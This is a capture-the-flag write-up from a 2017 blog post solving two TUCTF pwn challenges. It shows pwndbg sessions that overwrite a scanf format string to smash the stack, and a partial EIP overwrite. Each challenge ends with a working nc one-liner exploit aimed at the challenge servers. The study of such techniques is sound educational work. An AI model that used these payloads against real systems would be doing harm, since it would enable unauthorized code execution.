Monday, November 27, 2017

TUCTF 2017 - Vuln Chat



TUCTF was a lot of fun this year, it's primarily geared towards High School & College levels so the challenges tend to be easier than a lot of other CTF's, but any CTF is good practice! The challenges this year were very well designed and it was nice to go through them!

Starting off with PWN we have "vuln chat" and "vuln chat 2.0", both 32-bit ELF binaries.


Vuln Chat


The first binary had a very simple main function.  It contained a simple printFlag function which cat's flag.txt.  It includes two scanf calls in the main function with the format string %30s.


The scanf call is limited to 30 bytes because of the format string, but the first scanf call overflows the format string of the second.  If we walk through this in gdb using pwndbg we can see the format string being overwritten.

Breaking at the second scanf with a short string:

pwndbg> b *0x08048634
pwndbg> r <<< $(python -c "print 'AAAA'")
 ► 0x8048634 
call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— '%30s' vararg: 0xffffd18b ◂— 0x486b208

Breaking at the second scanf with a longer string:

pwndbg> r <<< $(python -c "print 'A'*24")
 ► 0x8048634 
call __isoc99_scanf@plt <0x8048460> format: 0xffffd1b3 ◂— 'AAAA' vararg: 0xffffd18b ◂— 0x486b208


Nice! We can control the format string! At this point we could do a few things, use %n or %hn to write to a pointer on the stack, or just increase the input size to perform a regular stack smash, let's do the latter.

The buffer is 20 bytes until the format string overwrite, so we'll fill it with 20 A's, then make the format string %1000s which will overflow enough to get to saved EIP + more.

pwndbg> r <<< $(python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*100")
 ► f 0 41414141
   f 1 41414141
   f 2 41414141
   f 3 41414141
   f 4 41414141
   f 5 41414141
   f 6 41414141
   f 7 41414141
   f 8 41414141
   f 9 41414141
   f 10 41414141
Program received signal SIGSEGV (fault address 0x41414141)

Looking at saved eip & the start of the buffer, we can see it's 0x31 or 49 bytes away:

pwndbg> i f
Stack level 0, frame at 0xffffd1c0:
 eip = 0x8048639 in main; saved eip = 0x41414141
 called by frame at 0xffffd1c4
 Arglist at 0xffffd1b8, args:
 Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
 Saved registers:
  ebp at 0xffffd1b8, eip at 0xffffd1bc
...

pwndbg> context stack
02:0008│      0xffffd188 ◂— 0x41049a10
03:000c│      0xffffd18c ◂— 0x41414141 ('AAAA')
... ↓
1b:006c│      0xffffd1ec ◂— 0x414141 /* 'AAA' */
1c:0070│      0xffffd1f0 ◂— 0x0

pwndbg> p/x 0xffffd1bc - 0xffffd18b
$8 = 0x31

We can get the address of printFlag and overwrite saved eip with it.

pwndbg> p printFlag
$9 = {} 0x804856b 

The Final Remote Exploit:

$ (python -c "from pwn import *; print 'A'*20 + '%1000s\n' + 'A'*49 + p32(0x0804856b)"; cat) | nc vulnchat.tuctf.com 4141



Vuln Chat 2.0


This second challenge only took a couple minutes to complete, it was done only with dynamic analysis and the address of the printFlag function.  If we try a very large buffer we see we get a partial overwrite of EIP.

pwndbg> r <<< $(python -c "print 'A'*9001")
 ► f 0  8044141
Program received signal SIGSEGV (fault address 0x8044141)

This looks a lot like a partial overwrite during an ASLR challenge! Printing the address of printFlag and trying to overwrite with the last two bytes is the next step:

pwndbg> p printFlag
$1 = {} 0x8048672 

pwndbg> r <<< $(python -c "print '\x86\x72'*9001")
Starting program: ./vuln-chat2.0 <<< $(python -c "print '\x86\x72'*9001")
----------- Welcome to vuln-chat2.0 -------------
Enter your username: Welcome �r�r�r�r�r�r�r�!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
�r�r�r�r�r�r�r�: djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...
Ah! Found it
[New process 17594]
process 17594 is executing new program: /bin/dash
[New process 17595]
process 17595 is executing new program: /bin/cat
/bin/cat: ./flag.txt: No such file or directory
[Inferior 3 (process 17595) exited with code 01]
Don't let anyone get ahold of this

The Final Remote Exploit:

$ (python -c 'print "\x86\x72"*2240'; cat) | nc vulnchat2.tuctf.com 4242